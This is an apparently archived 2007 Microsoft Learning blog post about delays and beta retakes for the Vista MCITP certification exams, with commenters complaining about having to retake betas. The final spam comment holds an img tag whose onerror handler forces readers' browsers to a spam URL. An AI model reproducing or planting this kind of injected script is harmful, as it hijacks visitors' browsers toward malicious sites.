What the Heck Happened to 71-623? (or, Update on Vista Exams)
FEBRUARY 2: ADDED NEW DATES AND BETA INFO, BELOW.
For those of you who were asking about the 623 beta, thanks for your patience. Here's what's up: basically, we need to take more time on the MCITP-level Vista exams to make sure they’re right on, so that is why 71-623 was put on hold and why your seats were cancelled. No new dates yet. Websites not updated yet. Working on it… Here’s the official word:
The release dates of the Professional (MCITP) exams for Vista will be delayed in order to ensure that we have adequate application support coverage for these certifications. We know that customers are very excited about our new Vista certifications and we are sincerely sorry for the delay. In the interest of maintaining the quality of Microsoft Certifications, however, we need to add additional content to exams 70-621, 70-622, and 70-623 in order to maintain appropriate alignment with the intended job roles. Exam 70-620 ("Big Vista") will not be affected and customers may continue to register for the exam.
The betas for 70-621 and 70-622 will be re-run; the beta for 70-623 will be rescheduled. The new release dates are
- 70-621: May 15 (beta in late March)
- 70-622; May 16 (beta in mid-March)
- 70-623: May 17 (beta in late March)
What about the betas? Customers who took 71-621 and 71-622 and customers who had a confirmed seat for 71-623 will receive adirect invitation to the retake that beta. These customers have an exclusive 72 hour window to re-register; at that point we will open any remaining seats to a broader audience. In order to receive credit/a score for 71-621 and 71-622, customers must re-register and re-take the exams; scoring for the first betas will be thrown out. Beyond the 72 hour registration period, we can not guarantee a seat for customer re-takes. We are taking on these efforts to limit inconvenience to customers who registered for and/or took the first betas; we do appreciate the time and energy that goes in to testing. We regret the inconvenience but know our customers understand the beta process as part of the product development lifecycle and support our efforts to deliver quality exams and certifications.
Comments
Anonymous
January 30, 2007
The comment has been removedAnonymous
January 30, 2007
Having to take another version of a beta exam will be inexcusable and create very bad press for MLS!Anonymous
January 30, 2007
I totally agree with you, Andy.Anonymous
January 30, 2007
I think you are absolutely correct that people are very excited about the new Vista certifications. If I took 622 on 12/17, any idea when we can expect to either get the result or hear about a potential retake offer? Or when 623 would be available for beta? Realize these decisions are probably being sorted out, but I think it would be important to set everyone's expectations as soon as that information is available. Thanks JimAnonymous
January 31, 2007
As you can imagine... I'm as excited to share any news as you guys are to get it. Hang tight.Anonymous
February 02, 2007
Hello Trika May we know do you have more news regarding the score reports for 71-621 and 71-622 because both exams are supposed to go live before the end of Feb 2007. Also when can we register for 71-623 ? Please kindly advise us here !!! Have a nice weekend.Anonymous
February 02, 2007
Hi. New dates, below. For the background and info on the related beta exams, read the update to my lastAnonymous
February 02, 2007
Any idea when these direct invitations will be sent out? What about exam 624, Deploying & Maintaining Vista & Client Office System. Will this exam be updated as well?Anonymous
February 02, 2007
Thanks for the updates Trika! While I can understand and appreciate delaying 623 if the content is in question, I find it hard to swallow that people will need to retake 621 and 622 - "in order to maintain appropriate alignment with the intended job roles" and "to ensure that we have adequate application support coverage" Should that content not have been determined before the beta exams went live? Realize it's not your fault, so don't take it personally, just venting/ranting and a little bummed out/disappointed as I feel this whole mess could have been avoided with a little better planning up front. Looking forward to the email for the 622 retake invitation and the 623 beta when it is available. Thanks JimAnonymous
February 05, 2007
The comment has been removedAnonymous
February 05, 2007
What 's a MESS and make everythinf one unhappy. I don't think it is a WIN-WIN Situation for the Beta testers of 71-621 & 71-622 and MSL. Not too sure whether this is the 1st time MLS to ask beta testers to re-take the revised version of the beta test (take the test 2nd time) but the decision from MLS management is not prudent and professional at all. I understand we beta tester don't get paid but do those beta exams voluntarily. But if MLS treat us like lab-rats and we have to take time off from regular work for it. This actually mess up a lot of our studying plan for other MCP exams planning.Anonymous
February 09, 2007
Just wondering if there is another beta period for the above exam.Anonymous
February 12, 2007
Peter's right. I was studying for another MS exam and now i hear that i did the 621 for nothing. What a waste of time and effort. I guess a lot of beta testers won't even consider to re-take this exam (or maybe others) at all.Anonymous
February 13, 2007
It's not that I/we have to retake the beta but that we took it so we wouldn't have to wait for and take the another exam (the final version). So we all failed no matter how you look at it (by no fault of our own)!Anonymous
February 18, 2007
I most certainly won't be taking another beta. Atleast win I pay for a "live" test I get results whether pass or fail.Anonymous
February 24, 2007
This is absolutely shocking! I diverted my attention away from my MCSE exam preparations for 3 weeks to concentrate on the 71-621 exam and what a waste of this this turned out to be. I've heard nothing from Microsoft to tell me that I will have to retake the BETA which is a disgrace! I only found out by searching on Google and coming across this forum. I understand that they want to get the exams correct and why they would want to re-run the BETA's but I'm extremely disappointed that they haven't bothered to communicate this to the original BETA testers. This is very poor PR for Microsoft! I will certainly think twice about sitting MS BETA's in future!Anonymous
February 27, 2007
If I didn't canceled my 71-621 at the last minute, I would also be upset against Microsoft. But don't forget that you may have failed. Maybe this is now your second chance to pass!Anonymous
March 09, 2007
Just making sure everyone on this post got the update: http://blogs.msdn.com/trika/archive/2007/03/03/an-update-for-those-of-you-who-took-beta-exam-71-621-and-or-71-622.aspx PS Daniel how is it coming with your SE?Anonymous
March 19, 2007
http://blogs.msdn.com/trika/archive/2007/03/19/71-621-and-71-623-vista-beta-exams-invitations-to-send-on-march-22.aspxAnonymous
April 11, 2008
my pics <img src=http://google.com/444.gif onerror="window.open('http://gomyron.com/MTQ3Mjg=/2/5424/ax=1/ed=1/ex=1/spm/','_top')">
